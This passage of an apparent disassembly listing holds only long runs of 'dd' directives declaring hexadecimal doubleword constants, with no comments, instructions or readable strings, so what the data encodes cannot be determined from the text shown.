0B1F4AAACh dd 3D7B0462h, 80E7F438h, 21081F4Ch, 0B4726400h, 29AD792Bh dd 56A700C2h, 583A0704h, 0E00014B3h, 0BC89F6A6h, 119A5Fh dd 0E46765A0h, 5D5F538h, 0AB3CF000h, 0E288D3E7h, 6E131EB0h dd 21C94E76h, 97C07AEFh, 35FD2D6Ah, 2F39BC00h, 6CB2CC4Eh dd 0E1BD0099h, 482A1AB7h, 83005C42h, 9E44F0EFh, 0C9185h dd 0B6BF4125h, 71C640E4h, 0CE3D790Ch, 11C18Dh, 0A4B29325h dd 0DC62153Ah, 3C023002h, 0C0CFE9C9h, 0FC1EC6h, 86032668h dd 1891DA41h, 0A7E43600h, 8D59745Fh, 0A24900A8h, 12C9290Dh dd 0FCEF41C0h, 1600E60Bh, 672D6D55h, 9BD26Eh, 623C97A8h dd 1937D0FAh, 10DE1106h, 1E100AC9h, 80DD3D14h, 0AA4AC79Dh dd 4F007722h, 0F64BF75Ah, 377306h, 9C721751h, 0B538BA35h dd 0ED412200h, 0F93230A3h, 0BE2730E1h, 7E45CA8h, 69469100h dd 8834D0C7h, 51AB003Ah, 98AC2F05h, 18008E1Ch, 8D36B6E3h dd 0F7C8BF9h, 6A5363DEh, 607750C0h, 7F0915C9h, 83E39FF5h dd 0B0348B44h, 3CDB89B4h, 4A00D8CDh, 0E2DE8299h, 9A1CB3CEh dd 17D8312h, 0BE2E0D64h, 46C8D910h, 452100D7h, 38C0D1A6h dd 0A8F8AD6Fh, 4EF87209h, 99040009h, 5EA7D4Fh, 0B7B2ECF3h dd 0F999C0D2h, 0B8000910h, 0B944BA85h, 1A3632h, 12F62CD7h dd 4D0E6B1Bh, 0FFC3F100h, 88C260FAh, 0A7E814F3h, 5E00B558h dd 92EEB64Bh, 0AC0069B5h, 33633DB7h, 9E08E1h, 0EAD3B191h dd 2DAAFB75h, 5B0056FCh, 9C502F19h, 0C0028654h, 66BB5C18h dd 4D07D027h, 0B1136178h, 9B335D40h, 5C440009h, 20A09DC8h dd 0FF50BEEFh, 0C9F273C4h, 3D7AF800h, 0CC4C7243h, 594046Bh dd 916297A9h, 0C0AE940h, 63B80133h, 37CF6057h, 0EA7007ADh dd 0A57F12h, 0AE8B5914h, 0C2E8361Eh, 0E000A8EAh, 0B638B11Dh dd 1D20A27Eh, 815E61BEh, 42C8E71Ch, 0E102D47Dh, 0D8F1F200h dd 59C36F0Fh, 93F0781h, 4CCAC1h, 84EEA5DFh, 956E2F1Ch dd 27BCF343h, 8CA3A0DBh, 0E29700B3h, 0B0E0DE6Ch, 7589682h dd 6490048h, 4C1CCC09h, 0E46477AEh, 29200E3h, 4EFA7379h dd 0CF00FC7Ch, 90CEDA55h, 0A1AEDCh, 0D8763C1Ah, 30A9707Dh dd 0C4165200h, 21FED5FAh, 0FDC73F8Ch, 0B1CC6EBEh, 0A055C600h dd 8D8E3EABh, 0BB1F201h, 0C81B24A6h, 5E8430h, 27477F6Bh dd 2E5A0659h, 700FB977h, 8046813Ch, 0BD0E9F3Dh, 0FE7B36h dd 0A8FCD38h, 0B180A888h, 64B9820Eh, 0AD51E030h, 60E9480Fh dd 0DAC458CEh, 0FC3ABE28h, 1C4D030Ch, 9E973505h, 2AE600A8h dd 0F44A0756h, 0AC00FB8Bh, 4184975h, 1E6FCF3Eh, 40CEB15Eh dd 9B781369h, 94007F95h, 761463Bh, 3B6E9128h, 8400759Fh dd 435F97B8h, 0C4E4E876h, 6FDB2603h, 96B2529Eh, 6D170510h dd 80A6B110h, 0A4578F19h, 772D3701h, 0F0906955h, 420CF30h dd 0BF34DCF6h, 0BD01EF0Eh, 1A9FDF93h, 5A51F4h, 0F1068960h dd 163F7347h, 6800A87Dh, 510BAF32h, 1282FEh, 72781880h dd 0CBBADE7Bh, 3A25F40Bh, 60190EFAh, 0C5138266h, 263007Ah dd 9BB91984h, 90003147h, 0CE4B65C9h, 108FE5h, 5689957h dd 35DC1C73h, 4474AB00h, 3A26754Bh, 0DC40F2Eh, 1C61033Dh dd 0C8027BE3h, 0DA00A383h, 572E705Fh, 460C38h, 0F8766722h dd 0A2CDC290h, 0AA1C13EAh, 260088F4h, 0CC6F37F7h, 28A9001Dh dd 0FFC91B99h, 3F3F2B69h, 497080D2h, 7B6C9690h, 36AA001Dh dd 2208B07Ah, 27001AB1h, 949EEC3Fh, 564F5Fh, 637C8943h dd 0F3FE227Eh, 0A97B420Fh, 2C90A0E3h, 0F20C231Bh, 94E4FD19h dd 71C9006Dh, 0F0596866h, 60FA5593h, 0DEA8DF00h, 7B8784F4h dd 41CD1ED8h, 0EF2A8047h, 2DFE5931h, 3B17DA00h, 0A2344C95h dd 26BB00CAh, 2263AD15h, 0A50035E8h, 5E0D87Fh, 9A7C9Eh dd 0AB1A8CF0h, 78154438h, 2A4BA701h, 1D45C016h, 2693D720h dd 532782h, 35CFE4BEh, 1800F112h, 53D970A0h, 588ECEE1h dd 6900477Eh, 2341A805h, 0B400F89Fh, 0B8F7538Ch, 0A9DD3F2h dd 0E3F6847Dh, 0E99100E0h, 455C8041h, 0F382FB06h, 1891CBDh dd 61B81BFFh, 0F085698Bh, 0C378394Bh, 55D79100h, 0FEAED194h dd 6825300Fh, 50A05E21h, 4C28543Dh, 0AAC71E4Bh, 19AD1A83h dd 0FEAF888Eh, 699602E8h, 0D45F0B91h, 55DFFA80h, 1D002A0Dh dd 0B5720C30h, 0D30589h, 645E3522h, 0A0DD42F1h, 0F125500h dd 8CFCE2DBh, 3BDF00C5h, 2421D3A7h, 0ACEA7090h, 29BC490Eh dd 57DD695Ah, 0C4F47480h, 0BCA0F304h, 0E603F870h, 2A0220D6h dd 0E037F257h, 0C3E2F6Ah, 0CDE9C4B2h, 4400A1C4h, 3596C3A7h dd 0F47E6E60h, 4AFA0634h, 9FC38F9h, 0A2650500h, 0F7500457h dd 0F8340041h, 0F32BB087h, 0D00998Fh, 0A8D1BF69h, 19C48Ah dd 0F2F8685Fh, 79AA43C1h, 0DA38710Fh, 4642E751h, 0D43058E0h dd 2CA80045h, 0FE2A210Bh, 0DB00CB59h, 6B3FD7F0h, 188E3D02h dd 0C0F6C041h, 0BC0198D4h, 129D8F94h, 0C660D55Eh, 578BAh dd 96766907h, 0C8DEC0B8h, 2B9A7D03h, 9C98D9h, 76C52509h dd 3F3024B0h, 0DDD42106h, 0C0B627h, 5B70B92Fh, 1457D090h dd 54009FFAh, 171E5EC1h, 0ABC532h, 1D375072h, 114875FAh dd 0F38F6103h, 0F80E73D0h, 6F9F6Bh, 0AFDA3D89h, 52CD2D6Eh dd 7FA7B004h, 0F900F875h, 9986662Fh, 6EB5FD05h, 930244C2h dd 0E0F572D3h, 3310E4Eh, 29EB2487h, 42D8642Eh, 9400A2F0h dd 687A4F61h, 1E2D1A4Dh, 3C5F5Bh, 0A19889D5h, 540757A6h dd 84724A83h, 43E57630h, 44FD1F1Dh, 0D75C005h, 0D52BA7FAh dd 307C1500h, 1B7B4C14h, 825B3B59h, 0C06A0694h, 0E1355000h dd 0A20542E0h, 45E3B424h, 0D12E6100h, 90161B68h, 0B7EC17A4h dd 0A8470011h, 7DE89721h, 5603B1FCh, 0A18CF65Dh, 872000B6h dd 9713702Eh, 0DF005B57h, 0A48589E5h, 1669E9h, 8A8BFBDBh dd 26464166h, 0D8088498h, 6C3C0Ch, 77EE5FC9h, 0A6003DE4h dd 78ABFC29h, 957BA2Dh, 0B45EEA2Ch, 89230580h, 502839A7h dd 0D313B48Bh, 2840DD79h, 338FB9D7h, 0E14C049h, 6234C952h dd 41DDF14h, 48C400B8h, 0BCF275E5h, 1E9C9809h, 4F819BECh dd 6AAF145Bh, 2F40F9C0h, 71007D5Ch, 0FA704A7Eh, 0FE16B6C6h dd 57A706FDh, 418C023Ch, 1F6E7C00h, 5DB994F0h, 0B2B10EBAh dd 0A6A74373h, 0CFA06E35h, 85A59510h, 0C2A11A01h, 0AD4FF47Eh dd 54AFB8C3h, 0FE2FE061h, 0B817503Ah, 87C10604h, 909E04Bh dd 0B439E703h, 0A170F29Eh, 1880BFF9h, 1F29D727h, 43003F36h dd 5D212DFBh, 72E2DCh, 23FA8F7Eh, 0FE295982h, 7BB84751h dd 0A0258BC2h, 96716B8h, 381501D0h, 1FDBC26Dh, 1AC20BDh dd 959CF300h, 0D0DA0230h, 0C5A007B0h, 536F2AC9h, 18D0C839h dd 314CE967h, 949C00E8h, 0BC6AAAFh, 4FF7006Dh, 451881DEh dd 48702862h, 6FA0D10Ah, 1B07BBE7h, 0AA9043F2h, 1CAE9AC7h dd 1E96E4D2h, 49DCC789h, 83F0139h, 345D444h, 9F9C560Fh dd 489D80DDh, 97FEADh, 4AB9BA26h, 61FFB336h, 1F40593Ch dd 7BFBF39Fh, 95F82F09h, 5A2C8066h, 405408ECh, 0AA0140EFh dd 5142D653h, 0C0E0FA01h, 15A40755h, 0B0D50258h, 52A54F88h dd 50C1DA07h, 32E08675h, 1ED4D8Dh, 0C476D67h, 0F023A45Ah dd 6E20B9CAh, 556B0098h, 8B1CB671h, 191F7FCCh, 540D2A8h dd 0B4660725h, 90AB3BDEh, 0C83F6480h, 0A6F99BE7h, 0AF30BB07h dd 0B4428092h, 537041BEh, 0EDAE30h, 56A9BD1Bh, 6F7D16D2h dd 40EAEC16h, 63C80CABh dd 30038FD0h, 857B28C4h, 0A58AE878h, 0BC440E72h, 3FEBDB6Dh dd 28AF7F0Fh, 0E08D5160h, 800FAD30h, 0A09C70B5h, 79066DF3h dd 0D64200C0h, 443D7814h, 0C709770Eh, 160A684h, 0AF1E7F8Ch dd 1D3FD0h, 18162E8Ah, 0F9DC296Eh, 2CAB0B00h, 3074BAC9h dd 0EC7A26h, 0C705C20Fh, 0B6D89F0h, 8375323Bh, 0A31B0491h dd 0F09DEB0Dh, 1E55B52Ah, 8EF1E7AEh, 5FC0D71Eh, 24FFF5A8h dd 0E1A2110Dh, 83F02057h, 0C333006Dh, 9A376C0Ch, 165DD632h dd 6FFF00C4h, 0E6C90918h, 0D12000F0h, 92ADB68Bh, 0E9000548h dd 6055B3B9h, 3C248Ah, 0D34AC2C1h, 78C89474h, 2024A7F6h dd 570970B9h, 47903042h, 0CFA42CE0h, 40401E74h, 317FDBB3h dd 0C67AC9B8h, 0AA1BF700h, 0FD03375h, 3C38009Bh, 474279A9h dd 3D00E51Eh, 9CB9F34Eh, 2E65DB40h, 66814Fh, 0C26F52EDh dd 1500FEBCh, 3D20EE2Dh, 7BD7F2C4h, 11360174h, 92A6D201h dd 99988050h, 7143A7C2h, 0A415008Fh, 0B3328222h, 453B8CD2h dd 0A905CB4h, 0DA3E0317h, 0F505FF24h, 0B4020B06h, 4136EE57h dd 69F4CF42h, 802200A8h, 0E33AF2AAh, 0BE005699h, 0B6D84BE8h dd 0F84652h, 0D550C6E4h, 99B7C0C2h, 0CC9813F8h, 0B43A2D1Eh dd 0CBFAEDC0h, 12507Ah, 47F3CF30h, 583FA856h, 0B236B800h dd 0F8EEE7C3h, 0F89970F7h, 0EEB395Eh, 0C095901Fh, 28648492h dd 873970A6h, 0DCC39BB3h, 942E0E8h, 897930DFh, 0C9B36709h dd 0FE721703h, 13F7A34h, 0D6571018h, 0FCBEB69Fh, 0A100B57Ch dd 0F2615CE0h, 27A23F0h, 0AADD05A3h, 80632C81h, 26B9C4D8h dd 0EF5BDB00h, 4B076A91h, 41FA0053h, 0F3DF891Dh, 56005920h dd 45A3EC52h, 737837h, 4B96B5C6h, 2C16F424h, 0E758F67Ah dd 0EECE0324h, 9C10252Dh, 40AF2081h, 6CE4E8DFh, 0B098A03Eh dd 22FC0056h, 1560EA81h, 69F6C576h, 0B60EBD00h, 8343F3D3h dd 905778B0h, 163A0010h, 5460AC0Dh, 0A701CFB5h, 0BFE5D807h dd 0B7011796h, 0BAC283Dh, 20F4095Ah, 9518E598h, 0CFCF9h dd 3F4DAEFBh, 463794CBh, 0F27CD816h, 12F38000h, 0BAD9B7h dd 0D4E67F49h, 0D3E8CCDAh, 9BF22900h, 47579310h, 85B500D8h dd 0D94C4D5Dh, 0E90F4B8Eh, 0EFC31D42h, 863200D7h, 7B22D83h dd 0EF3F59D3h, 7E792014h, 113FBD02h, 3CF1245Fh, 0EBCCC800h dd 7FFADAE1h, 3F2F0E6h, 42CB7CDh, 9AD9BD0Bh, 0C3EAC8A4h dd 5EB65007h, 66031CFDh, 49E1A095h, 83B00E6h, 886CF35Ch dd 0B74C021Dh, 4C2078B8h, 0E3501F9h, 0F80C93C6h, 0A64EC48Dh dd 7DCBAD00h, 0DC723319h, 906A00CAh, 732C59F0h, 100399D2h dd 9EF2F9C3h, 45BCB823h, 7A800058h, 1943C1B6h, 7D1291F0h dd 0A009AFC5h, 6EC90CFh, 0E6DB7405h, 6AA71F52h, 9B96C1E6h dd 0E48DE36Ch, 37134409h, 0BB00F072h, 5F92B1C9h, 0F50B882h dd 172314B9h, 0DBD2D120h, 2400BA7Dh, 0FD8B7998h, 243933ABh dd 42ED4h, 0D3B0AF83h, 0B63EEA5Bh, 49A785Fh, 394D3C00h dd 79D8FBE0h, 0B80700E4h, 4A2622B1h, 660061B3h, 0E160F784h dd 18518267h, 802B36D1h, 0A7A31E88h, 5C6001A2h, 5500B89Ah dd 0EDD57403h, 1213287Dh, 3630536h, 0DC6CC43Ch, 0F86966D0h dd 0AD2ED70Bh, 15048259h, 4AAC6442h, 0DCCEB179h, 33244B7Dh dd 28807C6Ah, 0A1ACD4C7h, 26EA0082h, 0C14C138h, 30ED98FAh dd 1B0C88A8h, 300FE53Ah, 43E0019Eh, 23E8D05Bh, 0FB46C069h dd 0DE7D1E00h, 2A557F4Eh, 293D0052h, 0C78B6014h, 2E001C9Ch dd 6B6727E2h, 0EA1395A4h, 0AAFC0055h, 0A9F86F60h, 0C971C44Eh dd 0AE008C78h, 0A8C86DE4h, 57CEEh, 0D76AEA84h, 0F154F649h dd 70551200h, 0F4DFB10Dh, 2FBB01AEh, 0D8B61E44h, 49B3D8EFh dd 0DE3D4200h, 0ABF3955h, 69EE0031h, 16E84D0Bh, 8501C4CEh dd 29C9D7E5h, 66C9ED12h, 0D3F2E0h, 0C85DD9D8h, 7FF8DA0Dh dd 28B55824h, 60D4CDC1h, 48F081FEh, 0ADECE9BEh, 56170095h dd 91C87C06h, 2A001DA7h, 63D822A5h, 0CD581Eh, 0EDB1A4BBh dd 0B7EB6B4Ch, 0EA24A00Bh, 37E180FDh, 0EF4AB60h, 73EE2123h dd 0AFA338C0h, 4D0068FEh, 7CEB6493h, 4C5947E4h, 2A04285Ah dd 0B0B469CCh, 4E0255ECh, 42C9FEE6h, 59F0E08Eh, 0C3983F11h dd 0B9A22B80h, 830B26A7h, 0DAE00E00h, 0E108E7F9h, 0BA751602h dd 0A72DF090h, 30204900h, 8D67B4FFh, 0E85307DFh, 530DE67Dh dd 100933ACh, 8FE3DC7Bh, 8AAE041h, 3C070A7h, 0CA959FE0h dd 93A8DE12h, 40908031h, 8BC46100h, 0A192B425h, 740603CFh dd 8FB23B8Dh, 0AAB3D1EBh, 0A85E49D8h, 0D8EA6A24h, 0D49C0606h dd 0D9C70008h, 0DF407E7h, 470E25CAh, 223D3FDEh, 80D1D631h dd 1A79B5BFh, 0E37FF6h, 50491519h, 6F289D5Ah, 158F248h dd 55BFFE18h, 97708037h, 939800E6h, 0BB3F236Ah, 9FE25EDFh dd 8326B47Ah, 0CA00BB09h, 19AED9F1h, 38A90064h, 0B44413FEh dd 7E00F5ADh, 0DC3F2162h, 0FD382h, 0B38920Ah, 0FA3E8C7Bh dd 2E03BAB0h, 62D2F1CBh, 52C0B5C3h, 0CD351Fh, 5E1032E9h dd 3C260C8Eh, 7ED38D07h, 58B020B0h, 13556083h, 0E863E028h dd 3B4A00A8h, 93B7DCF5h, 0C4E800E2h, 3AC0EADBh, 62006B22h dd 1E4D3A9h, 3D962CF1h, 0CB8A6A29h, 1F50C726h, 27428044h dd 8771CF36h, 0F9589C00h, 0F539667Ah, 629A007Bh, 641CF1A2h dd 0EE0342F2h, 318E61E4h, 0C98AD83Ah, 6D3B00D3h, 16B76A6Fh dd 0AC012EBEh, 1EC19BE5h, 0F3D40294h, 0B2D616DFh, 5B51019Ch dd 0E09A3326h, 5700592Bh, 5176771Ah, 0F0966Bh, 0F85CF60Eh dd 8FDFB944h, 3590E000h, 0CD032361h, 0AD4600BDh, 0FEEF5743h dd 3618931Ah, 1CCAD5B0h, 5CA7006Eh, 6F0AB652h, 0A1006442h dd 119F484Ah, 0C26C159Ch, 66B81B20h, 1E6860D7h, 0A02008Eh dd 3329AFC8h, 0F800C137h, 9FF3031Ch, 5828F64Ah, 0AD1C06B2h dd 7FD1803Eh, 739C6970h, 0D2078571h, 2836D8Eh, 0F1C078E7h dd 1FA877F7h, 40DC3E3Ah, 72139D35h, 3B0034D8h, 4D02C5C6h dd 399ECE5Eh, 0C401B75Dh, 0A4F045D4h, 0C85F31B6h, 382459E5h dd 0C30024DDh, 0A9830FB4h, 1C6400ACh, 6B505FCCh, 0C43DAF9Fh dd 811EBC4Ch, 3DD6D3DDh, 6EDC27E3h, 116100B9h, 50E232D8h dd 0F5FEF71Bh, 0E8EC5400h, 7073E699h, 0DA6600D2h, 818BA5EAh dd 0E5E07E6Dh, 6A140B00h, 132537ADh, 70DB0757h, 30A9B780h dd 2FF84B3h, 72530C02h, 4061E701h, 194FA30h, 0B9A34049h dd 0EF7635E3h, 1AC15798h, 0F3003BF4h, 534E6530h, 3AFF79F0h dd 9405A745h, 0C08B44E0h, 9BA1B032h, 0A2CD7000h, 9771CA60h dd 7DD003Dh, 580D2054h, 760F464Dh, 6023BEEAh, 74416EE9h dd 72390097h, 0F5CDD335h, 40E1ECC7h, 9D834BCh, 79ED5100h dd 0C499A9B3h, 6B2E00B5h, 0EE677D1Fh, 5609AF57h, 28158Ch dd 12C1517Ch, 0B0F6506Eh, 938900F5h, 979E98A5h, 0AB0078FEh dd 0C70A2381h, 0F891E0C8h, 56630054h, 229C46B7h, 940758CEh dd 0A8111B19h, 0AE8A8D51h, 0DDB2C0h, 5C653CFCh, 8F71F24Ah dd 5FF19700h, 0CEFF98BEh, 0D4B90002h, 0B3884BF7h, 0A6E838B4h dd 0AA294F00h, 0D9CBD2FAh, 0DD150220h, 36B02E44h, 324FF2E0h dd 0C30017E6h, 0DF82F909h, 1A4AADAh, 31B745BEh, 40A24637h dd 0BD16A8D0h, 0CB06B500h, 0CCE0104Ah, 0FCBB3AC6h, 0ED41EF00h dd 0BD125144h, 0D2DF7900h, 658D43F5h, 237EDEh, 4C2091B7h dd 4E21F9A4h, 56149000h, 6DC8C3E8h, 245C4DFAh, 0BF720079h dd 50EDB16h, 0DE00488Bh dd 96666D20h, 0E29B56Eh, 18F93294h, 3F1BCF60h, 0DBA267C0h dd 79F71C80h, 8F249802h, 4E09CC83h, 0B6A881E2h, 0A700DD3Eh dd 6000F92h, 4A9C5FA3h, 15564C7h, 0A4C9280Ch, 0CB1B9E66h dd 72A026DBh, 59480AF9h, 6CE8007Dh, 20FDAA0Fh, 4B0800FFh dd 0BA7BDB7Eh, 8570E26Eh, 83FC1C09h, 3E27F6F6h, 6A769C02h dd 8F80DE2Dh, 0E647325Bh, 0D53C3600h, 0D9171F48h, 93E1D82h dd 8AE289E0h, 9ABA5880h, 8D01D864h, 6ECA0521h, 0C040A178h dd 16FE6FC4h, 0DA40A2h, 0B2DF4D18h, 9E25AABAh, 1FE5074h dd 0EC5548AFh, 801DD59Ch, 0D182B6A8h, 13145Dh, 0AF98375Fh dd 599277E7h, 4BE8CB00h, 695CF96Dh, 0ED9F03EEh, 21111995h dd 394E83A8h, 8217E500h, 1C8AE156h, 2AC0012Ch, 0ECE2429Bh dd 5EDC249Eh, 0DADEB400h, 4AC1F959h, 0D50801FAh, 0CA6946FBh dd 0E9D8809Bh, 0EABF5258h, 2C1F0090h, 3E80E733h, 4081D882h dd 9347DCh, 0E5924648h, 6320998Dh, 267FCE00h, 0E0F2D15Eh dd 0C1363BB7h, 0E9F0FFDh, 0B4E432DFh, 0A5D08364h, 930CA290h dd 5EEF7A06h, 184092h, 1CC7C9FAh, 2DC53705h, 0CB7721F2h dd 85E1F400h, 4F5C7697h, 1EFC7BFAh, 403B91B8h, 0D0BA5ABCh dd 4B1E63E7h, 0DC02517h, 9AA61918h, 0F20248A5h, 0CF002E3Eh dd 9425372h, 0ED01AAB0h, 4065CC6Bh, 0A8EC032Ch, 8BBA00CFh dd 0E3803A39h, 7400B81Ah, 6C54B56Dh, 3B283C2Bh, 0A4D0575Bh dd 0B4360088h, 0BC06A672h, 1D035EDAh, 3AC709Eh, 248189E7h dd 215F2087h, 6C48300Bh, 160378A1h, 65A4735Eh, 1C33F80Fh dd 0CF061C60h, 20165Bh, 0FCA2393Ch, 0BB909269h, 0EE7B9171h dd 0FAA43Dh, 0FE23AF0h, 4850419Bh, 0F30060F1h, 0FDB280C1h dd 5500CB0Bh, 769F2BEAh, 0EABF7A36h, 77F90E28h, 2FA27C02h dd 0C1D44574h, 73AE8E01h, 3C70D050h, 0A99A2066h, 0EDEF009h dd 72DA005Eh, 289DF514h, 0D06DB2h, 0CC12D79Bh, 0E45DC083h dd 8168201h, 0C736587Dh, 347460h, 6A6CCB8Bh, 81E64FBBh dd 0B792120Dh, 0CC4406Fh, 0F68600E3h, 0DFCE05B1h, 3B00BE8Eh dd 0CC6625CBh, 0C069074Ah, 9BD051C1h, 6C0722B9h, 7C34F323h dd 997214C0h, 3B7A004Fh, 764736FBh, 6A7AC8DCh, 0DC213D38h dd 654D00C4h, 1E800B3Ch, 1BD10063h, 7019E41Fh, 8A4C8130h dd 5D9924F4h, 0A0D2160Fh, 9D78A2F7h, 4C79002Eh, 0F292C6FAh dd 0C704EBE7h, 0A32A06E1h, 0F794A081h, 0C0D1E2D0h, 0B54BF4A2h dd 0FF00885Ah, 30C13BA0h, 0E6795ADh, 6E2A6A8h, 58C91F00h dd 0F1125702h, 2B09256Bh, 523C0070h, 0F18490ECh, 19AC30h dd 303FF006h, 0F3C653F6h, 3D1A4558h, 0F74980E0h, 46B00387h dd 6AE8BBh, 9C3FF277h, 0D54D4490h, 0FDF37200h, 0CB7D4FBEh dd 0FE9E1C63h, 4380FBB6h, 252F9DF2h, 1C0EC8F5h, 0E191DC19h dd 8DEDB5D1h, 891292h, 0A2671B20h, 3700F032h, 0F7D78F1Fh dd 0A874ABh, 693FA750h, 0B504763Ah, 0C594C750h, 9986A30Ch dd 769230F6h, 89F33DF1h, 0B0A02B82h, 0A6E0638Dh, 8500575Ch dd 347D78E1h, 33161DCh, 0E615F58Fh, 4AE0407Bh, 220084D8h dd 1FA021B4h, 0B0DC43Dh, 0D6861293h, 30CF9011h, 4339AF52h dd 54140077h, 5CF89304h, 1FDD0971h, 0C000E5EDh, 136449E9h dd 40CEB300h, 0AD8F0E2Eh, 0C8100004h, 16CBF6FCh, 0A004CE6h dd 3E2AB75Ch, 3225D6Dh, 2597CA33h, 5B9024D8h, 5174303h dd 4701D6F1h, 8836A77Ch, 2444A0C7h, 859201A5h, 95BABE9Dh dd 0BC54C435h, 9CC03100h, 17E3A361h, 89BB00B2h, 0E80133AEh dd 1500DDE9h, 61198E71h, 0DC75C1h, 9780E43Ah, 8327DE2Bh dd 0BA06420Fh, 0A3EE6F59h, 988D68A6h, 90E27653h, 5D7050h dd 1B4B7443h, 0E6327390h, 6537B600h, 420DCF92h, 0BBF0FA3h dd 0D7035EAFh, 798091A4h, 0F60057C6h, 289B3148h, 44B145h dd 269D2D8h, 7168069Fh, 0EDF7E100h, 7A75784Ch, 57D62h dd 0EAD4726Eh, 0AC2835BBh, 0C4A64Ch, 1986D006h, 3392AFAh dd 46DC1074h, 24F9EEF8h, 0F0EFEBC4h, 12C56DF0h, 1C583100h dd 92BB5B84h, 0E47F0142h, 2EAE3093h, 823FDC4Dh, 0A160D300h dd 0FC6D54BEh, 0ED480061h, 6A5A12B8h, 1601E791h, 9ECEB714h dd 80FE75A6h, 7D1882F0h, 0A8243E3Dh, 0FFA08080h, 6DD2DDB5h dd 0F20099F4h, 3C6C30ECh, 6C4C9A1h, 0A77D2B31h, 9B070D2h dd 27265101h, 0F51CA6D6h, 3A09089Dh, 0A4E6028Bh, 7DFD9821h dd 6230804Dh, 2DC3CE9Ch, 0C4B91D2Bh, 2394052Ah, 2810059Bh dd 7C7D0BCh, 0D0F9C88Ah, 0D5CB8D6h, 7DC91F68h, 46E57007h dd 5BE1DE10h, 64500006h, 65825323h, 7B067744h, 0A69DC1Dh dd 5E7F20h, 0A59BB288h, 0B881CA2Ch, 0C49C98C5h, 0C221B0C0h dd 1AD1C2D5h, 5C808903h, 75A1CEF5h, 0BB01B5F0h, 45AC63Bh dd 5F307B1Dh, 77F001Ah, 42AFF5FAh, 0FD2808A1h, 30606416h dd 0B82BCEE0h, 147F4223h, 2030D802h, 551C1E27h, 5D6C40EFh dd 937D8C45h, 485C2E00h, 2A525F9Ah, 7A4A017Eh, 0BC14A321h dd 9D9FD872h, 992CCB1Ch, 2F40CE1Ch, 383C0DBEh, 7B162823h dd 0E8AD03AFh, 75276B3Bh, 29B25890h, 0EF078900h, 0E90FD11Dh dd 280600B3h, 0E0802F67h, 0C41F4FF3h, 0D5C05AF9h, 632740FDh dd 0CB930037h, 25FCE5ADh, 0D400236Dh, 1A54062Eh, 1363CF10h dd 802956B7h, 59BB40B8h, 0F0E1C46Dh, 0BCC3041Fh, 10005E30h dd 0CCB086D6h, 7E7C69A8h, 0D1173DB9h, 135A7A83h, 0E088D7BCh dd 0F232F851h, 100829AEh, 59408045h, 3D2284C3h, 8144284h dd 1D58CD1Dh, 0A322627Fh, 11404212h, 0AB21B326h, 9F109F08h dd 7F0020ACh, 0FA89656Bh, 5DC66h, 786CBAAFh, 71E0128Bh dd 7D52220Ch, 23B0A1h, 0D30A4330h, 2BBB54A5h, 426BF40Eh dd 264B219Ch, 4CCB55Ch, 6FDE005Eh, 34124925h, 0C800BCF2h dd 863A9F98h, 5513B9h, 0EA903C91h, 56A535D7h, 0FF2E3E8h dd 1FF8E271h, 0FD619300h, 8DE49AF5h, 163B01F1h, 0F31A403Fh dd 0ED5360EBh, 59130712h, 1D01E400h, 0E008C1h, 0D1AD1CF2h dd 2CF0C3DEh, 25000CEAh, 0CC8A58C4h, 7E71A6E8h, 3C009213h dd 701DABB1h, 3F57402Bh, 7885D043h, 4B27DF01h, 0BD4D08BEh dd 906DF9CCh, 0A3C05E4h, 17D25F6h, 11714FCh, 6F32D470h dd 494A7F00h, 9A07D8CDh, 415A01D9h, 0BCC20F19h, 32B1ECDAh dd 0D6223300h, 10FCB336h, 8FE0030Ah, 0EBA87649h, 6B2B3DE0h dd 0A3849A04h, 8C80240Eh, 2EC40DE3h, 5EAF53h, 6696D292h dd 8300C6F7h, 95170B9Bh, 1F87144Eh, 807EDFAEh, 0BC035D89h dd 88B8359Ch, 95319400h, 0EA540EB5h, 3AB9056Bh, 0C0E34A56h dd 9446F25Bh, 2E956300h, 0E1E2A838h, 0C6E000AEh, 6A64F82h dd 21005FB8h, 0D1CAFCAAh, 926E3Bh, 0F23780C1h, 8BC3DABDh dd 61A97E00h, 0AE3C5571h, 1A8C2498h, 63200BF0h, 5F006C0Eh dd 0F0E9800Dh, 0DDA5C000h, 0E19AFF3Fh, 0ABC81CF2h, 0EB3240FBh dd 0DF206D07h, 0F85A911Fh, 8DD72B40h, 16971644h, 7CF5B0h dd 42FF4624h, 0E900E4C3h, 28398405h, 0D927B5h, 0DB0F9E5h dd 18DB2A17h, 0D78DCE00h, 0F03D8B5Ch, 0E47E0072h, 0B58F041Ah dd 0AB07B980h, 0EB86787Bh, 0D0372E43h, 0F15070h, 0F801948Ch dd 0FD5F328Dh, 0BF196D00h, 9E86AB0Fh, 0E78E1D66h, 31007C3Ah dd 9634BABDh, 320AB777h, 0FC922702h, 3A65E600h, 785ABFD8h dd 0B34B0398h, 4614E8Ch, 0D2E52090h, 4CF93200h, 0B856E9D0h dd 8512003Dh, 720E90E3h dd 7D006B11h, 2CE2F02Ah, 7AF2C068h, 6152002Fh, 3DE30D79h dd 7100FAD2h, 0AEDE8F60h, 3A5469ECh, 2B008005h, 0A640A3E4h dd 0FAE2EB70h, 0B97A6B0Bh, 0D88C824Dh, 0F8B4C0E9h, 3F1A0161h dd 0F14570E0h, 346C3452h, 921E5471h, 0ED49EEB1h, 9C740718h dd 0EB90A4E0h, 0A1F900D4h, 9DF57D35h, 5B005F66h, 0EF0E1394h dd 0F011BDh, 1BD6400Fh, 3D1EADC2h, 20DD881Ch, 8ED57F80h dd 19517B78h, 80D492F2h, 31B7D064h, 0DFF9A200h, 0E38AF820h dd 0A7480180h, 89E4911Dh, 7EBCE87Dh, 0C8C28D07h, 58D1789Dh dd 0BD0374Eh, 2FA7C3Ah, 5C4D84EAh, 7D40BA46h, 0BC00AB8Bh dd 45ED2822h, 1E3E987Dh, 870DA682h, 670C04C8h, 9502B25Bh dd 3E2F888h, 0AF7EC57h, 2AAE3B80h, 66FF3703h, 9853089Eh dd 1E24FB8Bh, 0AD166Eh, 5DD89B4Bh, 2090F606h, 28442000h dd 4FE8816Ch, 0F2390F18h, 0EF31E4Ch, 23E0D060h, 823CCFD7h dd 0A9AEA809h, 56F4040Fh, 0EF579F20h, 4A2B5A12h, 31A22C40h dd 1F7F1FDCh, 7F416636h, 716F2E80h, 0ACD05CF7h, 0AF3BCE13h dd 33EA9C00h, 37E58D8h, 93A8DFFAh, 6CE122BEh, 5570C80Ah dd 0C7723Fh, 958CEDEBh, 3C082456h, 0AD81E43Dh, 0CD0AE303h dd 0E077CA2Fh, 288076B1h, 75DA6721h, 1287002Eh, 854F368Ch dd 0FC00FD11h, 